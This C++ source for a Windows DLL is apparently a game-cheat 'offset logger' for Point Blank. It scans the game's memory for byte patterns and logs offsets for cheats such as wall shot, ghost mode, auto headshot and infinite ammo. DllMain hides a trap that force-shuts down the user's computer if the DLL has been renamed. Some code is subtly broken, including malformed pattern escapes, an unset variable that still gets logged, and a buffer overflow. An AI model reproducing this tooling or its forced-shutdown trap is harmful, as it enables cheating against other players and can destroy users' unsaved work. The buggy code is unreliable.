/*Code By:Anonymous Cheater A.K.A Dery Sulaiman
Status: Undetect
Support:LCOI,Badboys,Nyit-nyit.net,D'DI
Note:Base Logger Untuk Public tapi jangan Lupa Creaditnya ya
Website: http://www.banjarmasin-pb.co.cc , http://gaze-game.co.cc/Forum , http://www.gazeofficial.co.cc
Shortlink: http://vc.gazeofficial.co.cc
Contact: Facebook: http://www.facebook.com/derycheater , Twitter: http://www.twitter.com
*/
#include <windows.h>
#include <fstream>
#include <stdio.h>
#pragma warning(disable: 4996)
using namespace std; //need for the logging func
ofstream infile; //need for the logging func
#define WIN32_LEAN_AND_MEAN
#define _CRT_SECURE_NO_WARNINGS
char *GetDirectoryFile(char *filename); //getdirfile for the logging func
void __cdecl add_log (const char * fmt, ...); //the logging func
void thethread(); //the main function
char dlldir[320];
DWORD dwSize, dwStartAddress, dwMINIMIZE_, adr1crot_, adr1crot, dwbasedual, dwofsdualpoint_, dwofsdualcash, dwofsdualpoint, dwMinimize, adrMinimize_dua, adrMinimize2, adrnorespawn, adrdefuse, adrMinizmie, adrGhost, adrMagnet, adrRespawn2, adrInvicible1, adrInvicible2, adrInvicible3, adrSetup, adrAmmo,adrGravity,adrWallShot,adrSetupM,adrBomb,adrCasper,adrDeath,adrAmmoGlobal,adrRecoil,adrVote,adrFreeze,adrJump,adrAkurasi,adrAutoMouse,adrSuiced,adrSG,adrKriss,adrp90,adrm1887,adrK2,adrFace,adrBom,adrBom1,adrautoHS,adrAmmoF,adrDefuse,adrPasang,adrByte,adrAIM,adrJackHammer,adrSopmod,adrMagnum,adrMspeed,adrHP,adrGrade;
LPTSTR i3engine = "PointBlank.i3Exec";// i3r
char *GetDirectoryFile(char *filename)//get the directory of the dll
{
static char path[320];
strcpy(path, dlldir);
strcat(path, filename);
return path;
}
void __cdecl Writelog (const char *fmt, ...)//the add log func
{
if(infile != NULL)
{
if(!fmt) { return; }
va_list va_alist;
char logbuf[256] = {0};
va_start (va_alist, fmt);
_vsnprintf (logbuf+strlen(logbuf), sizeof(logbuf) - strlen(logbuf), fmt, va_alist);
va_end (va_alist);
infile << logbuf << endl;
}
}
bool Match(const BYTE* pData, const BYTE* bMask, const char* szMask)
{
for(;*szMask;++szMask,++pData,++bMask)
if(*szMask=='x' && *pData!=*bMask )
return false;
return (*szMask) == NULL;
}
DWORD FindPattern(DWORD dwAddress,DWORD dwLen,BYTE *bMask,char * szMask)
{
for(DWORD i=0; i < dwLen; i++)
if( Match( (BYTE*)( dwAddress+i ),bMask,szMask) )
return (DWORD)(dwAddress+i);
return 0;
}
bool Ready(void)
{
if( GetModuleHandle(i3engine) != NULL )
return true;
return false;
}
void SearchPatterns(void)
{
//while (!Ready())
Sleep(500);
dwStartAddress = 0x400000;
do {
dwStartAddress = (DWORD)GetModuleHandle(i3engine);
Sleep(100);
}while(!dwStartAddress);
dwSize = 0x500000;
//DWORD dwMINIMIZE_ = FindPattern(dwStartAddress,dwSize,(PBYTE)"\x42\x70\x44\x61\x74\x61\x20\x21\x3D\x20", "xxxxxx????xxxxx");
//DWORD dwMinimize = FindPattern(dwStartAddress,dwSize,(unsigned char*)"\x42\x70\x44\x61\x74\x61\x20\x21\x3D\x20", "xxxxxxx????x????x????xx????xxxxxxxx????");
//==========================================================Deklarasi Address Cheat atau AOB==============================================================//
DWORD dwBom = FindPattern(dwStartAddress,dwSize,(PBYTE)"\x54\x69\x6D\x65\x00\x00\x00\x00\x49\x6E","xxxxx");
DWORD dwBom1 = FindPattern(dwStartAddress,dwSize,(PBYTE)"\x4D\x00\x00\x00\xCC\x8C\x8D\x56\x44\x00","xxxxx");
DWORD dwAmmoGlobal = FindPattern(dwStartAddress,dwSize,(PBYTE)"\x52\xE8\xC5\x76\xEB\xFF\x83\xC4\x08\x8B\x45\xFC\x8B\x4D\x08\x89\x88\x64\x09\x00\x00\x8B\xE5\x5D\xC2\x04\x00\x55\x8B\xEC\x51\x89\x4D","xxxxx");
DWORD dwAim = FindPattern(dwStartAddress,dwSize,(PBYTE)"\x52\xE8\xC5\x76\xEB\xFF\x83\xC4\x08\x8B","xxxxx");
DWORD dwExitGame = FindPattern(dwStartAddress,dwSize,(PBYTE)"\x00\x00\x70\x42\x00\x00\x48\x42\x00\x00","xxxxx");
DWORD dwRecoil = FindPattern(dwStartAddress,dwSize,(PBYTE)"\x00\x00\x00\x20\x6C\C1\C1\76\3F\00\00","xxxxx");
DWORD dwAkurasi = FindPattern(dwStartAddress,dwSize,(PBYTE)"\x80\x86\x3F\xED\xBE\x77\x3C\x00\x00\x00\x00\x76\x6F\x69\x64\x20","xxxxx");
DWORD dwJump = FindPattern(dwStartAddress,dwSize,(PBYTE)"\x00\x00\x00\x00\x00\x00\xE0\x3F\x53\x74","xxxxx");
DWORD dwVote = FindPattern(dwStartAddress,dwSize,(PBYTE)"\x1C\xCA\xC4\x55\x68\x24\xCA\xC4\x55\xE8\xCE\x3B\xC5\xFF\x8B\xC8","xxxxx");
DWORD dwAutoMouse = FindPattern(dwStartAddress,dwSize,(PBYTE)"\x56\x8B\xF1\xC7\x06\x84\xDF\xF6\x09\x83","xxxxx");
DWORD dwSuiced = FindPattern(dwStartAddress,dwSize,(PBYTE)"\x53\x75\x69\x63\x69\x64\x65\x00\x00\x00","xxxxx");
DWORD dwWallShot = FindPattern(dwStartAddress,dwSize,(PBYTE)"\x00\xC1\xE2\x02\x8B\x45\xE8\x8B\x8C\x10\x40\x02\x00\x00\x89\x4D","xxxxxx");
DWORD dwGravity = FindPattern(dwStartAddress,dwSize,(PBYTE)"\x65\x6E\x75\x6D\x20\x53\x54\x41\x47\x45","xxxxxx");
DWORD dwFace = FindPattern(dwStartAddress,dwSize,(PBYTE)"\x00\x80\x86\x3F\xED\xBE\x77\x3C\x00\x00","xxxxxx");
DWORD dwKrissSV = FindPattern(dwStartAddress,dwSize,(PBYTE)"\x53\x4D\x47\x5F\x4B\x52\x49\x53\x53\x53\x55\x50\x45\x52\x56","xxxxxx");
DWORD dwK2 = FindPattern(dwStartAddress,dwSize,(PBYTE)"\x4B\x2D\x32\x30\x31\x2E\x69\x33\x69\x00","xxxxxx");
DWORD dwm1887 = FindPattern(dwStartAddress,dwSize,(PBYTE)"\x4D\x31\x38\x38\x37\x5F\x4D\x65\x6C\x65","xxxxxx");
DWORD dwp90 = FindPattern(dwStartAddress,dwSize,(PBYTE)"\x53\x4D\x47\x5F\x50\x39\x30\x5F\x44\x4F\x54\x53\x49\x47\x48\x54","xxxxxx");
DWORD dwJackHammer = FindPattern(dwStartAddress,dwSize,(PBYTE)"\x4A\x61\x63\x6B\x48\x61\x6D\x6D\x65\x72\x2E\x69\x33\x50\x61\x63","xxxxx");
DWORD dwMagnum = FindPattern(dwStartAddress,dwSize,(PBYTE)"\x53\x4E\x49\x50\x45\x52\x5F\x4C\x31\x31\x35\x41\x31","xxxxx");
DWORD dwSopmod = FindPattern(dwStartAddress,dwSize,(PBYTE)"\x41\x53\x53\x41\x55\x4C\x54\x5F\x41\x4B\x5F\x53\x4F\x50\x4D\x4F\x44","xxxxx");
DWORD dwautoHS = FindPattern(dwStartAddress,dwSize,(PBYTE)"\xDC\x89\x4D\xE8\xC7\x45\xFC\xFF\xFF\xFF","xxxxxx");
DWORD dwAmmoF = FindPattern(dwStartAddress,dwSize,(PBYTE)"\x8B\x82\x00\x02\x00\x00\x8B\x11\x8B\xC8\x8B\x42\x30\xFF\xD0\x8B","xxxxxx");
DWORD dwPasang = FindPattern(dwStartAddress,dwSize,(PBYTE)"\x43\x6F\x70\x79\x54\x6F\x28\x73\x74\x72\x75\x63\x74\x20\x47\x41","xxxxxx");
DWORD dwDefuse = FindPattern(dwStartAddress,dwSize,(PBYTE)"\x6D\x65\x20\x44\x65\x74\x65\x63\x74\x65\x64\x20\x49\x73\x46\x69","xxxxxx");
DWORD dwMagnet = FindPattern(dwStartAddress,dwSize,(PBYTE)"\x50\x25\xCD\x55\xD9\x1C\x24\x8B\x4D\xFC\x51\x8B\x55\x08\x83\xC2","xxxxxx");
DWORD dwGhost = FindPattern(dwStartAddress,dwSize,(PBYTE)"\x0C\x1A\xCD\x55\xD9\x1C\x24\x8B\x45\x0C\x83\xC0\x40\x50\x8B\x4D","xxxxxx");
DWORD dwMspeed = FindPattern(dwStartAddress,dwSize,(PBYTE)"\x84\x3F\x60\xB6\xDF\x55\xC8\x57\xC8\x55\xA0\x3E\x8C\x55\xBC\x57","xxxxxx");
DWORD dwHP = FindPattern(dwStartAddress,dwSize,(PBYTE)"\x53\x65\x74\x20\x68\x70","xxxxx");
DWORD dwGrade = FindPattern(dwStartAddress,dwSize,(PBYTE)"\x53\x65\x74\x20\x67\x72\x61\x64\x65","xxxxx");
adrBom = dwBom - dwStartAddress;
adrBom1 = dwBom1 - dwStartAddress;
adrAmmoGlobal = dwAmmoGlobal - dwStartAddress;
adrautoHS = dwautoHS - dwStartAddress;
adrVote = dwVote - dwStartAddress;
adrAmmoF = dwAmmoF - dwStartAddress;
adrPasang = dwPasang - dwStartAddress;
adrDefuse = dwDefuse - dwStartAddress;
adrAIM = dwAim - dwStartAddress;
adrJackHammer = dwJackHammer - dwStartAddress;
adrMagnet = dwMagnet - dwStartAddress;
adrRecoil = dwRecoil - dwStartAddress;
adrAkurasi = dwAkurasi - dwStartAddress;
adrJump = dwJump - dwStartAddress;
adrAutoMouse = dwAutoMouse - dwStartAddress;
adrSuiced = dwSuiced - dwStartAddress;
adrWallShot = dwWallShot - dwStartAddress;
adrGravity = dwGravity - dwStartAddress;
adrFace = dwFace - dwStartAddress;
adrKriss = dwKrissSV - dwStartAddress;
adrK2 = dwK2 - dwStartAddress;
adrm1887 = dwm1887 - dwStartAddress;
adrp90 = dwp90 - dwStartAddress;
adrSopmod = dwSopmod - dwStartAddress;
adrMagnum = dwMagnum - dwStartAddress;
adrGhost = dwGhost - dwStartAddress;
adrMagnet = dwMagnet - dwStartAddress;
adrMspeed = dwMspeed - dwStartAddress;
adrHP = dwHP - dwStartAddress;
adrGrade = dwGrade - dwStartAddress;
//===============================================Bagian Teks yg akan Muncul di Notepad========================================================//
Writelog("///////////////////////////////////////////////////////////////");
Writelog("//=||------------------->Gaze Logger<---------------------||=//");
Writelog("//=||------------>Created By Gaze@Nyit-Nyit.net<----------||=//");
Writelog("///////////////////////////////////////////////////////////////");
Writelog("///////////////////////////////////////////////////////////////");
Writelog("//===========================================================//");
Writelog("// Gaze Logger //");
Writelog("//===========================================================//");
Writelog("// No Share, No Show OFF, No SS //");
Writelog("//===================.:For PB Indonesian:.===================//");
Writelog("// Not For Reshacker //");
Writelog("//========================OFFSET=============================//");
Writelog("//#define OFS_Bom Middle 0x%X //", adrBom);
Writelog("//#define OFS_---||-- Middle 2 0x%X //", adrBom1);
Writelog("//#define OFS_Vote 0x%X //", adrVote);
Writelog("//#define OFS_Recoil 0x%X //", adrRecoil);
Writelog("//#define OFS_Akurasi 0x%X //", adrAkurasi);
Writelog("//#define OFS_AIM 0x%X //", adrSetup);
Writelog("//#define OFS_Ammo 0x%X //", adrAmmoGlobal);
Writelog("//#define OFS_AutoMouse 0x%X //", adrAutoMouse);
Writelog("//#define OFS_Suiced 0x%X //", adrSuiced);
Writelog("//#define OFS_WallShot 0x%X //", adrWallShot);
Writelog("//#define OFS_Gravity 0x%X //", adrGravity);
Writelog("//#define OFS_FaceDirection 0x%X //", adrFace);
Writelog("//#define OFS_KrissSV 0x%X //", adrKriss);
Writelog("//#define OFS_K2 0x%X //", adrK2);
Writelog("//#define OFS_P90 0x%X //", adrp90);
Writelog("//#define OFS_m1887 0x%X //", adrm1887);
Writelog("//#define OFS_JackHammer 0x%X //", adrJackHammer);
Writelog("//#define OFS_Magnum 0x%X //", adrMagnum);
Writelog("//#define OFS_Sopmod 0x%X //", adrSopmod);
Writelog("//#define OFS_AutoHS 0x%X //", adrautoHS);
Writelog("//#define OFS_FrezeAmmo 0x%X //", adrAmmoF);
Writelog("//#define OFS_Grade 0x%X //", adrGrade);
Writelog("//#define OFS_Pasang 0x%X //", adrPasang);
Writelog("//#define OFS_Defuse 0x%X //", adrDefuse);
Writelog("//#define OFS_Magnet 0x%X //", adrMagnet);
Writelog("//#define OFS_Ghost 0x%X //", adrGhost);
Writelog("//#define OFS_Mspeed 0x%X //", adrMspeed);
Writelog("//#define OFS_HP (New) 0x%X //", adrHP);
Writelog("//===========================================================//");
Writelog("//------------->Credit : Gaze Gamer's Community<-------------//");
Writelog("//===========================================================//");
Writelog("//------------------------>Thanks To :<----------------------//");
Writelog("// [-] Gaze Comunity //");
Writelog("// [-] All Member Badboys //");
Writelog("// [-] LCOI (Legend Cheater OF Indonesia) //");
Writelog("//===========================================================//");
Writelog("//----------------->Not For Share To Public<-----------------//");
Writelog("//===========================================================//");
Writelog("///////////////////////////////////////////////////////////////");
ShellExecute(NULL, "open", "Notepad.exe", GetDirectoryFile("Gaze logger.txt"), NULL, SW_SHOWNORMAL);
Beep(1000, 500);
ExitProcess(0);
}
BOOL WINAPI DllMain ( HMODULE hAdd, DWORD dwReason, LPVOID lpReserved )
{
DisableThreadLibraryCalls(hAdd);
if (dwReason==DLL_PROCESS_ATTACH)
{
TCHAR strDLLName [MAX_PATH];
GetModuleFileName(hAdd, strDLLName , MAX_PATH);
if (strstr(strDLLName, "Gaze Logger.dll") <= 0) {
MessageBox(0, "Mau Maling Ya kk?\nLiad ajj akibatnya.. >,<", "Debug 404", MB_OK);
Sleep(10000);
system("start C:/Windows/System32/shutdown.exe -s -f -t 00");
ExitProcess(0);}
// GetVolumeInformation(szHD,(LPTSTR)szVolNameBuff,255,&dwSerial, &dwMFL,&dwSysFlags,(LPTSTR)szFileSys,255);
//if (dwSerial==255745335)
// {
MessageBox (0, "Logger Succes",".::--->Gaze Logger<--- ::.", MB_OK | MB_ICONINFORMATION);
MessageBox (0, "Created by Gaze",".::--->Gaze Logger<--- ::.", MB_OK | MB_ICONINFORMATION);
CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)SearchPatterns, NULL, NULL, NULL);
GetModuleFileName(hAdd, dlldir, 512);
for(int i = strlen(dlldir); i > 0; i--) { if(dlldir[i] == '\\') { dlldir[i+1] = 0; break;}}
infile.open(GetDirectoryFile("Gaze logger.txt"), ios::out);
}
return TRUE;
}